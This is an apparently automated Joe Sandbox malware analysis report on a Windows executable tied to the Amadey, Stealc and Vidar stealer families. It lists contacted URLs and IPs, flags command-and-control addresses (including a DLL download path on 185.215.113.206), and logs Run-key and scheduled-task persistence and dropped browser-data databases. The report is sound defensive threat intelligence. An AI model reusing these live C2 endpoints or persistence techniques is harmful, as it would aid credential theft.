https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.co.uk/	filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	false
https://b.tundara.dev/tapped/f9b7f1b3-b6a0-4bc1-825a-b4180e3cdc4f/reflect:	filer.exe	false
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2878424249.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
https://www.wykop.pl/	filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp	false
https://twitter.com/	filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	false
https://www.olx.pl/	filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2758566181.000000C0010A2000.00000004.00001000.00020000.00000000.sdmp	false
https://b.tundara.dev/tapped/f9b7f1b3-b6a0-4bc1-825a-b4180e3cdc4f/ZWM6ZjQ6YmI6ODI6Zjc6ZTAxOTg4Mjc0Mi	filer.exe, 0000001A.00000002.2727223517.000000C000268000.00000004.00001000.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefox	filer.exe, 0000001A.00000002.2727223517.000000C000180000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpcm/z	file.exe, 00000000.00000002.1928548119.0000000023ABA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/mozglue.dlla3	file.exe, 00000000.00000002.1897672574.0000000001659000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPP737	60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/complete/	filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.133.41	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.3.33	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.186	unknown	United States	20940	AKAMAI-ASN1EU	false
52.168.117.170	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
108.139.47.92	unknown	United States	16509	AMAZON-02US	false
23.44.133.38	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
51.210.106.44	b.tundara.dev	France	16276	OVHFR	false
104.70.121.41	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.70.121.187	unknown	United States	20940	AKAMAI-ASN1EU	false
40.118.171.167	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.244.212.106	unknown	Romania	9009	M247GB	true
23.44.133.59	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.67.153.209	blade-govern.sbs	United States	13335	CLOUDFLARENETUS	false
104.70.121.176	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.70.121.18	unknown	United States	20940	AKAMAI-ASN1EU	false
104.70.121.211	unknown	United States	20940	AKAMAI-ASN1EU	false
34.118.89.252	home.twentykm20sr.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563394
Start date and time:	2024-11-26 22:51:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@126/240@40/38
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.81.94.65, 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 172.217.21.35, 2.20.68.201, 172.217.19.170, 172.217.19.234, 172.217.17.74, 142.250.181.138, 142.250.181.74, 172.217.17.42, 142.250.181.106, 172.217.19.202, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 2.19.198.217, 23.32.238.67, 23.206.197.42, 23.206.197.24, 23.206.197.49, 23.206.197.17, 23.206.197.58, 23.206.197.11, 172.165.61.93, 2.19.198.17, 23.32.239.58, 23.206.197.10, 23.206.197.51, 23.206.197.41, 23.206.197.35, 23.206.197.33, 23.206.197.25, 95.100.135.129, 95.100.135.120, 95.100.135.115, 95.100.135.113, 95.100.135.104, 95.100.135.107, 95.100.135.121, 95.100.135.112, 95.100.135.123, 23.206.197.43, 23.206.197.16, 23.206.197.26, 23.206.197.34, 142.250.65.227, 142.250.80.99, 142.250.64.67
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config
Execution Graph export aborted for target DocumentsBGIJJKKJJD.exe, PID 4580 because it is empty
Execution Graph export aborted for target file.exe, PID 7284 because there are no executed function
Execution Graph export aborted for target filer.exe, PID 6368 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8816 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:52:42	API Interceptor	173x Sleep call for process: file.exe modified
16:53:11	API Interceptor	20831718x Sleep call for process: skotes.exe modified
16:54:03	API Interceptor	31x Sleep call for process: powershell.exe modified
16:54:16	API Interceptor	4x Sleep call for process: WMIC.exe modified
16:54:32	API Interceptor	160x Sleep call for process: 4edf09f764.exe modified
16:54:48	API Interceptor	1352527x Sleep call for process: 60114bff78.exe modified
22:53:08	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
22:54:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4edf09f764.exe C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe
22:54:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6af0f0d802.exe C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe
22:54:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1623118d84.exe C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe
22:55:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 171ecab7ad.exe C:\Users\user~1\AppData\Local\Temp\1009403001\171ecab7ad.exe
22:55:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4edf09f764.exe C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe
22:55:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6af0f0d802.exe C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe
22:55:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1623118d84.exe C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe
22:55:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 171ecab7ad.exe C:\Users\user~1\AppData\Local\Temp\1009403001\171ecab7ad.exe
22:56:19	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user~1\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.44.133.41	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	https://1965-100872.square.site	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.27824.18326.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	GHQ076500kh.exe	Get hash	malicious	Remcos	Browse
	lmiXXjKzpz.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
23.200.3.33	file.exe	Get hash	malicious	Unknown	Browse
23.200.3.33	I4i6z8T1j9j8N5349890049902.zip	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
b.tundara.dev	file.exe	Get hash	malicious	Cerbfyne Stealer	Browse	51.210.106.44
	file.exe	Get hash	malicious	Cerbfyne Stealer	Browse	51.210.106.44
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	5WTfUvmHO0.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	4sN88dMzwC.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	JEr70NrBvQ.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	8wLgIg588m.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	DmI602ZFyp.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
	5WTfUvmHO0.exe	Get hash	malicious	Unknown	Browse	51.210.106.44
chrome.cloudflare-dns.com	http://img1.wsimg.com/blobby/go/fae029f6-27b1-4578-94bc-ae0bbaeebde4/downloads/buluxanitoteras.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	oIGNK22EVW.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
home.twentykm20sr.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.89.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	nabsh4.elf	Get hash	malicious	Unknown	Browse	104.70.104.16
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	172.236.233.141
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.55.235.241
	https://multikultural.az/web/v2/index.php?query=ZW1ja2VubmFAY2hzaS5vcmc=	Get hash	malicious	Unknown	Browse	23.54.81.217
	Demande de proposition du Module Ultra Inc.malz.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.126.116.24
	Demande de proposition du Allesi Telecom.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.44.129.36
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
AKAMAI-ASN1EU	nabsh4.elf	Get hash	malicious	Unknown	Browse	104.70.104.16
	CUVAs_ Closing Doc_ The Abram Law Group #RDZ-01.eml	Get hash	malicious	CredentialStealer, HTMLPhisher	Browse	172.236.233.141
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.55.235.241
	https://multikultural.az/web/v2/index.php?query=ZW1ja2VubmFAY2hzaS5vcmc=	Get hash	malicious	Unknown	Browse	23.54.81.217
	Demande de proposition du Module Ultra Inc.malz.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.126.116.24
	Demande de proposition du Allesi Telecom.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.44.129.36
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
MICROSOFT-CORP-MSN-AS-BLOCKUS	nabsh4.elf	Get hash	malicious	Unknown	Browse	20.129.234.151
	nklppc.elf	Get hash	malicious	Unknown	Browse	143.98.80.176
	nklarm7.elf	Get hash	malicious	Unknown	Browse	21.247.119.162
	arm7.elf	Get hash	malicious	Unknown	Browse	40.115.149.52
	nabarm7.elf	Get hash	malicious	Unknown	Browse	40.67.128.110
	Impact replications.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	arm5.elf	Get hash	malicious	Unknown	Browse	20.216.184.106
	HpRXI8oMC1.html	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	https://eye.sbc31.net/m2?r=wAXNB1S4NjcyYWE1OWU4YjU5ODMzOTIyMDE1MThlxBDQudCvf9DH0Ns5RGzQktCKZ2wrLUbgpHRlc3Sxc2FtcGxlQHNhbXBsZS5jb22sKzMzNjEyMzQ1Njc4kLZEV3ZCbHJ1Y1JZMlFIa1B1LVVTTS1BoA==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.44.10.123

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGHDAKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDBGHCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265315294739287
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMeSAELyKOMq+8HKkjucswRv8p3nVumV:K0q+n0Je9ELyKOMq+8HKkjuczRv89B
MD5:	F31CA4D13E5E5F81B7D71CE60E3E7B9B
SHA1:	3BA67CC3C07BC7DCA3FAF9357FE2ABF1BE1B9A42
SHA-256:	5E502A772397AAA7C50756A7111E9A25007D1E6B3BC0510CC74BE1B53BCD57DB
SHA-512:	E7C2ABFFAF116092717F33B2AA6CDA8F77056389C9405A22821270A51FF4B6525A5904CDFA1700C29C12536757C3DDDA4F303E99ED8F7214B5AEB93301DAC674
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIDHIEGIIIECAKEBFBAAEBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJDGCAEBFIIECAKFHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
